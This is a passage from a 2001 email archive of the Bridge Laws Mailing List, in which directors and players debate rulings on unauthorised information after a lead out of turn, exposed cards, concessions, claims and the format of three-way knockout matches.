<9WlVXcA+Ala6EwXP@blakjak.demon.co.uk> Date: Sun, 21 Jan 2001 02:58:06 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: [BLML] penalties AND UI - too much ? References: <01C082FA.E03553C0.tsvecfob@iol.ie> In-Reply-To: MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Brian Meadows writes >On Sat, 20 Jan 2001 16:05:57 -0000, Fearghal wrote: > >>Herman wrote: >>Partner leads out of turn, the ace of diamonds. >> >>Declarer allows you to play what you want. >> >>>From AKJx of hearts, you lead the ace, to see the table. >>The queen of hearts is not there. >> >>Again declarer allows you to play what you want. >> >>If you now play diamonds, your partner is in to bring you >>the hearts. >> >>But, says declarer later, the Ace is UI, and you could also >>have switched clubs as a LA, so please give me my contract >>back. >> >>Comments ? >> >>Law 50D1 has the relevant information. >>(the requirement that partner must play the Ace of Diamonds at his first >>legal opportunity is AI to you; >>but other information arising from seeing the Ace of Diamonds is UI to >>you). >> >>So while I want to allow the Diamond switch (50D2, 72A5) as others have >>indicated, I feel declarer is correct in his analysis (50D1, 16C2) and the >>Diamond switch is not allowed if another switch is an LA. >Disclaimer - I have not directed, apart from as an emergency >stand-in, for well over a decade, this is just the view of a >player with an interest in the Laws. > >Some of the debates on here do seem to me to get a little >esoteric at times, and possibly this is one of them. However, I >think that the Laws of bridge should at least attempt to keep a >grasp, however tenuous, on simple logic. If I know partner has to >play the DA at his first opportunity, it seems to me to be a >total nonsense that I cannot know that partner holds the DA. >Trying to apply this would meet with howls of laughter from (I >suspect) a significant number of players, and quite rightly so, >IMHO. The trouble with the simple logic approach to this problem is that while your approach is what several people think is reasonable, the Law was changed in a way as to make all information about the DA [except the fact that it has to be played when diamonds are first led] UI. Now many people would collapse in howls of mirth at the fact that the player has the DA is UI, but this has been discussed before here, and there seems little doubt that it is UI, or to put it another way, the simple logic approach is wrong. Also, to compare with another thread where I believe a mistake has crept into the Laws, in this case we have had confirmatory remarks in the past from the members of the WBFLC who read BLML that this is the case. >As the question explicitly stated, declarer allowed me to play >what I wanted after cashing the AH. He had (unless my memory of >the laws is at fault) the option to forbid my leading a diamond, >at which point my partner could have taken the DA back into his >hand. Instead, declarer chose to have the DA remain a penalty >card. > >For declarer to then claim that I am prevented from leading a >diamond anyway seems to be totally illogical to me - the Laws >offer him the *CHOICE* of forbidding (or requiring) a diamond >lead *OR* having the DA remain a penalty card. This declarer >seems to want to have the benefit of two of the penalties instead >of one - to have the AD remain a penalty card, but then to >retrospectively forbid the diamond lead as well. He made his >choice, and he got it wrong. Regrettably, while I think what you suggest is logical and fair, I do not think it is the Law. L50D1 makes other information about the DA UI, and as the subject line suggests I think there is a very severe penalty here - perhaps too much. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Mon Jan 22 08:40:24 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0LLdXL13454 for bridge-laws-outgoing; Mon, 22 Jan 2001 08:39:33 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from anchor-post-31.mail.demon.net (anchor-post-31.mail.demon.net [194.217.242.89]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0LLdGt13389 for ; Mon, 22 Jan 2001 08:39:17 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by anchor-post-31.mail.demon.net with smtp (Exim 2.12 #1) id 14KSCY-000NwD-0V for bridge-laws@rgb.anu.edu.au; Sun, 21 Jan 2001 21:39:10 +0000 Message-ID: Date: Sun, 21 Jan 2001 02:49:32 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: [BLML] Three-way matches with two survivors References: In-Reply-To: MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Adam Wildavsky writes >At 12:59 AM +0000 1/19/01, David Stevenson wrote: >>It just seems completely unfair. You play matches of a particular >>length. > >We often play three-way matches where the team with the worst record >drops out at half-time. Would you consider that equally unfair? What >about Byes? Byes are to be avoided wherever possible if it is an event over a particular period of time, such as a weekend, and threesomes are normally included so as to avoid byes. Concessions at any time reduce the number of boards that a team gets to play, but it has been generally accepted that to force people to play when they do not want to is undesirable, so we have to live with it. The alternative, of making people play who have no incentive and no interest is hardly worth it to either side. But when you enter an event, you want to play bridge - well lots of people do, not everyone I suppose. And if you enter an event where you find that you have a 48 board "match", which will be reduced to 24 if you do well seems unfair on you, because it reduces your enjoyment of the event, and your opponents, who might have been about to reverse the result, but have now had this taken away from them. >>I would have thought the dumping problem was tiny anyway in threesomes. >It's substantial enough that it comes up regularly. In any case >Edgar's point was that it is the responsibility of those who write >conditions of contest to eliminate the possibility of their providing >a player with an incentive to play poorly. The trouble with Edgar's point is that it is reducing other factors which seem important to me to less importance than this one, which I think more minor. The main point about playing long knockout matches is that people enjoy playing long knockout matches. Ok, not everyone, some would prefer to pay people to win for them while they watched, but lots of people like to play long knockout matches. Effectively halving their length gives far more dissatisfaction than possible dumping. If you can construct regs that get rid of dumping without adding major alternative problems, then fine: but I still do not see anti-dumping regs should be this drastic. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Mon Jan 22 10:27:18 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0LNQJN01257 for bridge-laws-outgoing; Mon, 22 Jan 2001 10:26:19 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from stmpy-1.cais.net (stmpy-1.cais.net [205.252.14.71]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0LNQDt01253 for ; Mon, 22 Jan 2001 10:26:13 +1100 (EST) Received: from elandau.cais.com (207-176-64-97.dup.cais.net [207.176.64.97]) by stmpy-1.cais.net (8.11.1/8.11.1) with ESMTP id f0LNQ8846428 for ; Sun, 21 Jan 2001 18:26:08 -0500 (EST) Message-Id: <4.3.2.7.1.20010121181115.00b20350@127.0.0.1> X-Sender: elandau/pop.cais.com@127.0.0.1 X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Sun, 21 Jan 2001 18:27:49 -0500 To: Bridge Laws Discussion List From: Eric Landau Subject: Re: [BLML] Let's get back to the easy stuff In-Reply-To: References: <4.3.2.7.1.20010118084518.00b11820@127.0.0.1> <01C080C7.541B5AE0@MIKE> <4.3.2.7.1.20010118084518.00b11820@127.0.0.1> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 10:05 AM 1/19/01, David wrote: >Eric Landau writes > > > >Indeed. I did not intend "it" to have "action" as its referent, but > >wrote badly. Let me try again: North should not take any action by > >which he is likely to achieve a more successful outcome with partner > >barred than what would have been the expected outcome with his partner > >free to bid. > > Why not? > > L72A5. Because of the "recently added spate of 'might have's and 'could have's" of which I wrote in the message from which the above is quoted. Until the latest revision of the laws, he would have been unconstrained, per L72A5, unless one [I intend to make no further contribution to *that* thread] were prepared to find a violation of L72B2 (more precisely, its predecessor, L72B1). But with the laws being rewritten so as to accommodate those who have forced us to accept that a finding of violation of a law such as 72B2 may consitute an actionable accusation of cheating, the current L72B1 was added, which seems to constrain players not to take an action which might appear to resemble a violation of L72B2, regardless of their intention. Eric Landau elandau@cais.com APL Solutions, Inc. elandau@acm.org 1107 Dale Drive (301) 589-4621 Silver Spring MD 20910-1607 Fax (301) 589-4618 -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Mon Jan 22 16:28:18 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0M5R4611824 for bridge-laws-outgoing; Mon, 22 Jan 2001 16:27:04 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mailout2-0.nyroc.rr.com (mailout2-1.nyroc.rr.com [24.92.226.165]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0M5Qvt11820 for ; Mon, 22 Jan 2001 16:26:57 +1100 (EST) Received: from [24.95.201.231] (roc-24-95-201-231.rochester.rr.com [24.95.201.231]) by mailout2-0.nyroc.rr.com (8.11.2/RoadRunner 1.03) with ESMTP id f0M5N9l20909 for ; Mon, 22 Jan 2001 00:23:10 -0500 (EST) Mime-Version: 1.0 X-Sender: erepper1@pop-server.rochester.rr.com Message-Id: In-Reply-To: <200101211728.MAA01229@calum.csclub.uwaterloo.ca> References: <01C082FA.E03553C0.tsvecfob@iol.ie> <200101211728.MAA01229@calum.csclub.uwaterloo.ca> Date: Mon, 22 Jan 2001 00:24:45 -0500 To: Bridge Laws From: Ed Reppert Subject: Re: [BLML] penalties AND UI - too much ? Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 >Under 1987 Laws, yes. Under 1997 Laws, you need to show that there are >no logical alternatives to the diamond switch (knowledge of partner >having the DA making the diamond switch much more likely to succeed). >I think this gives declarer much too much of an advantage, but it's the >way the Law reads. As I said, I thought this particular change was >silly three years ago. > >I've heard the following: "I'm allowed to know that partner has to play >the DA on the first diamond trick, but I'm not allowed to know that >partner has the DA? How do I do that?" My reply? "I don't know >either. But them's the Laws." I am flabbergasted. My immediate reaction is "the law is an ass." It makes absolutely no sense to me. It seems the consensus here is that if my partner makes an opening lead out of turn (isn't that what started all this?) of the Diamond Ace, that card becomes (or may become) a major penalty, which means it will lie face up on the table until either (a) declarer makes an election which allows it to be picked up, or (b) a diamond is led, in which case partner must play the ace, or (c) partner wins a trick with another card, in which case he must lead the ace of diamonds (subject to declarer's possible choice of options). Now the opening lead reverts to me. Declarer is told his options: he may forbid or require the lead of a diamond (ace is picked up) or he may say to me "lead what you want." You are all telling me that I can't lead a diamond, in spite of declarer's election, *because I have the UI that partner has the ace of diamonds*? That is absolutely ridiculous. I refuse to believe it. Regards, Ed mailto:ereppert@rochester.rr.com pgp public key available at ldap://certserver.pgp.com or http://pgpkeys.mit.edu:11371 pgp fingerprint: 91BE CB97 E4AE D411 6C73 30E7 BD94 5B76 AEF7 7BCE -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 6.5.8 for non-commercial use iQA/AwUBOmvElr2UW3au93vOEQKwCgCg7p65KwJgL/KcCPBLMg09kGIQfiEAoPjr WVgViwwdm9WWugQCdTbc74te =4qba -----END PGP SIGNATURE----- -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Mon Jan 22 16:47:12 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0M5kmN11841 for bridge-laws-outgoing; Mon, 22 Jan 2001 16:46:48 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mailout2-0.nyroc.rr.com (mailout2-0.nyroc.rr.com [24.92.226.121]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0M5kgt11837 for ; Mon, 22 Jan 2001 16:46:42 +1100 (EST) Received: from [24.95.201.231] (roc-24-95-201-231.rochester.rr.com [24.95.201.231]) by mailout2-0.nyroc.rr.com (8.11.2/RoadRunner 1.03) with ESMTP id f0M5gxl23883 for ; Mon, 22 Jan 2001 00:42:59 -0500 (EST) Mime-Version: 1.0 X-Sender: erepper1@pop-server.rochester.rr.com Message-Id: Date: Mon, 22 Jan 2001 00:45:49 -0500 To: Bridge Laws From: Ed Reppert Subject: [BLML] Exposed Card before auction begins (?) Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Here's another one. Today, I pulled my hand out of the board, and while counting the cards, I dropped one. It fell face up on the table. It was the Ace of Diamonds. I immediately flipped it over, and called the director. West (I was North) said "I don't think we need the director - I didn't see it." My partner says "neither did I", but East says "I saw it." I said that I thought the criterion was that partner *might* have seen it, and we should call even if East didn't see it. So the TD comes over. "I don't know," she says, "I'll have to get my book out of the car. Put these hands back, and go on to the next board; I'll get back to you." She came back with "Duplicate Decisions" (no Law Book), and said, "I still don't know - it's unclear whether this bit about "before the auction has started" (I think in Law 13) applies, since you (me, that is, North) are Dealer and get the first bid. So maybe the auction has started, and Law 24 applies." She vacillated a moment, and then said "I'm gonna rule Law 24 applies - major penalty card, and partner must pass at her first turn to call." I think the question of whether it's before or after the start of the auction hinges on whether my partner had seen the face of her cards at the time I called the TD (I had not) and not on who was dealer. At this moment I can't say for sure whether she had seen them or not, but I think not. There seemed no damage caused by partner's enforced pass - though they did stop in a part score when others bid and made game. I can post the hands and the bidding if anyone cares. Comments? Regards, Ed mailto:ereppert@rochester.rr.com pgp public key available at ldap://certserver.pgp.com or http://pgpkeys.mit.edu:11371 pgp fingerprint: 91BE CB97 E4AE D411 6C73 30E7 BD94 5B76 AEF7 7BCE -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Mon Jan 22 22:46:08 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0MBhkN05591 for bridge-laws-outgoing; Mon, 22 Jan 2001 22:43:46 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from pandora.worldonline.nl (pandora.worldonline.nl [195.241.48.140]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0MBhat05552 for ; Mon, 22 Jan 2001 22:43:38 +1100 (EST) Received: from kooijman (vp182-170.worldonline.nl [195.241.182.170]) by pandora.worldonline.nl (Postfix) with SMTP id 15DE036C56; Mon, 22 Jan 2001 12:43:31 +0100 (MET) Message-ID: <00e401c08468$8e2c3160$aab6f1c3@kooijman> From: "ton kooijman" To: "Kooijman, A." , "Ed Reppert" Cc: "Bridge Laws" Subject: Re: TR: [BLML] Law 71: Concession cancelled Date: Mon, 22 Jan 2001 12:43:20 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.72.3110.1 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk > >>The second sentence, starting with 'Until'and ending with 'cards' for sure >>has been deleted. All of you analyzing that something is wrong with this >>sentence in relation to other (parts of) laws are right, which was the >>reason to decide to take it out. We did this already in '97 I think. So take >>your pensil and also shout it out. > >Ton, > >I just checked my printed copy (ACBL version) of the '97 laws, as >well as the HTML version at the ACBL website and the WBF European >version linked from DWS' Laws page, and they *all* contain this >sentence. Can you verify, please, that it was deleted, and when and >by whom? > >Regards, > >Ed I can't make it more convincing than I did in the message above. Done by the WBF Laws Committee and probably in October '97. If this is not somewhere in our minutes we made a mistake there. My understanding of the English language makes the last sentence contradictory to the first of 71C combined with the heading of 71. In this combination it says that the concession is withdrawn within the period described in 79C in case the trick can not be lost by any normal play. In the last sentence the time limit is much more restricted. Furthermore I think that the second part of 71A ' any legal play' should be removed because this is covered by 71C and therefore superfluous. But 'legally spoken' that does not harm us. ton -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Mon Jan 22 23:51:25 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0MCnVg06812 for bridge-laws-outgoing; Mon, 22 Jan 2001 23:49:31 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from guppy.vub.ac.be (guppy.vub.ac.be [134.184.129.2]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0MCnMt06807 for ; Mon, 22 Jan 2001 23:49:24 +1100 (EST) Received: from mach.vub.ac.be (mach.vub.ac.be [134.184.129.3]) by guppy.vub.ac.be (8.9.1b+Sun/3.17.0.ap (guppy)) id NAA09832; Mon, 22 Jan 2001 13:46:40 +0100 (MET) for Received: from math2-pc1 (math2-pc1.ulb.ac.be [164.15.34.6]) by mach.vub.ac.be (8.9.3/3.13.2.ap (mach)) id NAA21140; Mon, 22 Jan 2001 13:49:05 +0100 (MET) for Message-Id: <3.0.6.32.20010122140130.00824890@pop.ulb.ac.be> X-Sender: agot@pop.ulb.ac.be X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32) Date: Mon, 22 Jan 2001 14:01:30 +0100 To: Herman De Wael , Bridge Laws From: alain gottcheiner Subject: Re: [BLML] penalties AND UI - too much ? In-Reply-To: <3A670674.673519AE@village.uunet.be> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 16:06 18/01/01 +0100, Herman De Wael wrote: >Partner leads out of turn, the ace of diamonds. > >Declarer allows you to play what you want. > >>From AKJx of hearts, you lead the ace, to see the table. >The queen of hearts is not there. > >Again declarer allows you to play what you want. > >If you now play diamonds, your partner is in to bring you >the hearts. > >But, says declarer later, the Ace is UI, and you could also >have switched clubs as a LA, so please give me my contract >back. > >Comments ? AG : easy case as far as I'm concerned. 1) L16 doesn't cover this case - it is simply *not* a case of UI as defined. Since L16B specifies seeing a card *before the auction begins*, it is clear that the lawmaker intended to have the case 'card seen during bidding or play' covered by other laws. 2) Laws 50 and 54 are among those. They say clearly what happens after LOOT. Declarer exercised his option. What most forget is that after a 'play whatever you want' declaration, the card remains penalized, thus declarer may exercise his options once more. Declarer, duly informed, did so. He erred, because he should have disallowed the Diamond switch, and all his problems would have been solved. 3) Thereafter, L72A5 says what should happen - nothing. The penalty has been paid (although declarer didn't extract it to the best of his interests). The players are allowed to do what they want. And, yes, if the hearts are AKJxx / 10xxx (dummy), x , Qxx (declarer), if a diamond is disallowed, and if leftie now plays KH, small heart, and if rightie perforce discards AD, and if it turns out to be the way to make the contract down (ever heard of Emperor's coup ?), it is down. Now, what does one respond to the angry declarer ? That the UI principle is made for covering cases that aren't covered by other, more constraining laws such as L50. So that L16 would not apply in addition to L50. Alain. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 23 00:03:10 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0MD1el06828 for bridge-laws-outgoing; Tue, 23 Jan 2001 00:01:40 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from resu1.ulb.ac.be (resu1.ulb.ac.be [164.15.59.200]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0MD1Xt06824 for ; Tue, 23 Jan 2001 00:01:34 +1100 (EST) Received: from mach.vub.ac.be (mach.ulb.ac.be [164.15.128.3]) by resu1.ulb.ac.be (8.8.8/3.17.0.ap (resu)) id NAA21969; Mon, 22 Jan 2001 13:57:24 +0100 (MET) for Received: from math2-pc1 (math2-pc1.ulb.ac.be [164.15.34.6]) by mach.vub.ac.be (8.9.3/3.13.2.ap (mach)) id OAA00855; Mon, 22 Jan 2001 14:01:18 +0100 (MET) for Message-Id: <3.0.6.32.20010122141343.00842d70@pop.ulb.ac.be> X-Sender: agot@pop.ulb.ac.be X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32) Date: Mon, 22 Jan 2001 14:13:43 +0100 To: Ed Reppert , Bridge Laws From: alain gottcheiner Subject: Re: [BLML] Exposed Card before auction begins (?) In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 00:45 22/01/01 -0500, Ed Reppert wrote: >Here's another one. Today, I pulled my hand out of the board, and >while counting the cards, I dropped one. It fell face up on the >table. It was the Ace of Diamonds. I immediately flipped it over, and >called the director. West (I was North) said "I don't think we need >the director - I didn't see it." My partner says "neither did I", but >East says "I saw it." I said that I thought the criterion was that >partner *might* have seen it, and we should call even if East didn't >see it. > >So the TD comes over. "I don't know," she says, "I'll have to get my >book out of the car. Put these hands back, and go on to the next >board; I'll get back to you." > AG : two issues are to be looked at : 1) Did the auction begin ? Answer : yes, L17, if somebody looked at one's cards. (wow, I begin to use this without a flicker). In this case, the only person concerned is partner, so the relevant issue is whether that person (wow) saw one's cards. 2) Was the card seen, or could it at leasr been seen ? I usually rule that, if the opponent can name the card (without having done anything special like craning the neck to see it on the floor), partner could have seen it. I know it is not perfect in the card of a card detached from the hand, but it seems fair in accidental cases. 3) If you answer yes to the second question, and if the auction did begin, then there is a penalty card (MPC in this case). If you answer yes to #2 and no to #1, then the board becomes unplayable. I'd rule 60/60 if you made normal gestures, 50/60 (partially responsible) if you did something wrong. Alain. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 23 00:19:19 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0MDHl209238 for bridge-laws-outgoing; Tue, 23 Jan 2001 00:17:47 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from stmpy-2.cais.net (stmpy-2.cais.net [205.252.14.72]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0MDHet09201 for ; Tue, 23 Jan 2001 00:17:41 +1100 (EST) Received: from elandau.cais.com (207-176-64-97.dup.cais.net [207.176.64.97]) by stmpy-2.cais.net (8.11.1/8.11.1) with ESMTP id f0MDHaB87664 for ; Mon, 22 Jan 2001 08:17:36 -0500 (EST) Message-Id: <4.3.2.7.1.20010122081352.00ab4e80@127.0.0.1> X-Sender: elandau/pop.cais.com@127.0.0.1 X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Mon, 22 Jan 2001 08:19:19 -0500 To: Bridge Laws Discussion List From: Eric Landau Subject: Re: [BLML] Let's get back to the easy stuff In-Reply-To: <$jnOJuAoLda6Ew0a@blakjak.demon.co.uk> References: <3.0.6.32.20010119175143.00841150@pop.ulb.ac.be> <01C080C7.541B5AE0@MIKE> <4.3.2.7.1.20010118084518.00b11820@127.0.0.1> <3.0.6.32.20010119175143.00841150@pop.ulb.ac.be> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 01:03 PM 1/20/01, David wrote: > If you commit an infraction which silences partner, and you could not >have seen an advantage at the time of the infraction, then it is legal >thereafter to take an action that gives you an advantage - L72A5. Of course. But when you bar partner, thus placing yourself in a position where you alone determine the actions taken by the partnership, and bid yourself to a contract in which your expected result is better than what you would likely have achieved had you not barred partner, it becomes nearly impossible to refute the position that you "could have known" that barring partner would work to your advantage, notwithstanding the fact that it never occured to you. Eric Landau elandau@cais.com APL Solutions, Inc. elandau@acm.org 1107 Dale Drive (301) 589-4621 Silver Spring MD 20910-1607 Fax (301) 589-4618 -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 23 01:21:04 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0MEJBb20490 for bridge-laws-outgoing; Tue, 23 Jan 2001 01:19:11 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from finch-post-10.mail.demon.net (finch-post-10.mail.demon.net [194.217.242.38]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0MEJ0t20485 for ; Tue, 23 Jan 2001 01:19:01 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by finch-post-10.mail.demon.net with smtp (Exim 2.12 #1) id 14Kho6-000653-0A for bridge-laws@rgb.anu.edu.au; Mon, 22 Jan 2001 14:18:56 +0000 Message-ID: Date: Mon, 22 Jan 2001 00:37:26 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: [BLML] Claim? References: <200101181545.KAA23986@freenet10.carleton.ca> <3.0.6.32.20010118120327.007c4280@ux1.cts.eiu.edu> <00a201c0817b$f915f460$1614f7a5@oemcomputer> <3A6968E2.28F86136@village.uunet.be> In-Reply-To: <3A6968E2.28F86136@village.uunet.be> MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Herman De Wael writes >Pam's arguments are quite valid, but : > >pam wrote: >> >> On Fri, 19 Jan 2001 00:51:15 +0000, DWS wrote: >> > >> > That is what really worries me: any interpretation whose main effect >> >is to give ammunition to BLs and leave other people unaffected seems >> >horrendous to me. >> >> It's only horrendous because there aren't enough BLs around. If every >> second player was a BL we'd all have to abide by the same set of >> rules. This might piss off the expert for a bit but after a while >> (s)he would learn to play by the same rules as the rest of us. >> > > >And more of the same. > >However, the comparison with a bid out of turn and such is >not valid. >Those are irregularities, and they cause problems. >The only way to solve them is by following the law book. > >Such is not the situation here. > >Here we have someone making an innocent remark, which does >no harm. >And the we have a BL trying to turn that remark to his >advantage, by asking declarer to now put up a full claim >statement or suffer the consequences. No, no, Herman, it's worse than that. They can call the TD and say there was no clarification statement. >That is where David S does not want to follow. >And right he is. > >Considering the spirit of many laws, I conclude that the >Lawmakers did not want this situation. Why else did they >include a sentence like (unless he demonstrably did not >intend to claim) ? > >Now as David B has correctly pointed out, that sentence does >not apply in this situation. > >Which leaves us with an avenue for a BL. >And not a good one, despite what you believe in general, >Pam. > >As I already said, another one for Grattan's notebook. > > -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 23 01:21:03 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0MEJRN20495 for bridge-laws-outgoing; Tue, 23 Jan 2001 01:19:27 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from finch-post-12.mail.demon.net (finch-post-12.mail.demon.net [194.217.242.41]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0MEJ4t20486 for ; Tue, 23 Jan 2001 01:19:19 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by finch-post-12.mail.demon.net with smtp (Exim 2.12 #1) id 14Kho6-0008Fu-0C for bridge-laws@rgb.anu.edu.au; Mon, 22 Jan 2001 14:18:57 +0000 Message-ID: <1GDcA7A4E4a6EwG4@blakjak.demon.co.uk> Date: Mon, 22 Jan 2001 00:39:20 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: [BLML] Claim? References: <200101181545.KAA23986@freenet10.carleton.ca> <3.0.6.32.20010118120327.007c4280@ux1.cts.eiu.edu> <00a201c0817b$f915f460$1614f7a5@oemcomputer> <3A6968E2.28F86136@village.uunet.be> <6q7m6t0k34frbqqe19jjnc2igu82j5emdo@4ax.com> In-Reply-To: <6q7m6t0k34frbqqe19jjnc2igu82j5emdo@4ax.com> MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk 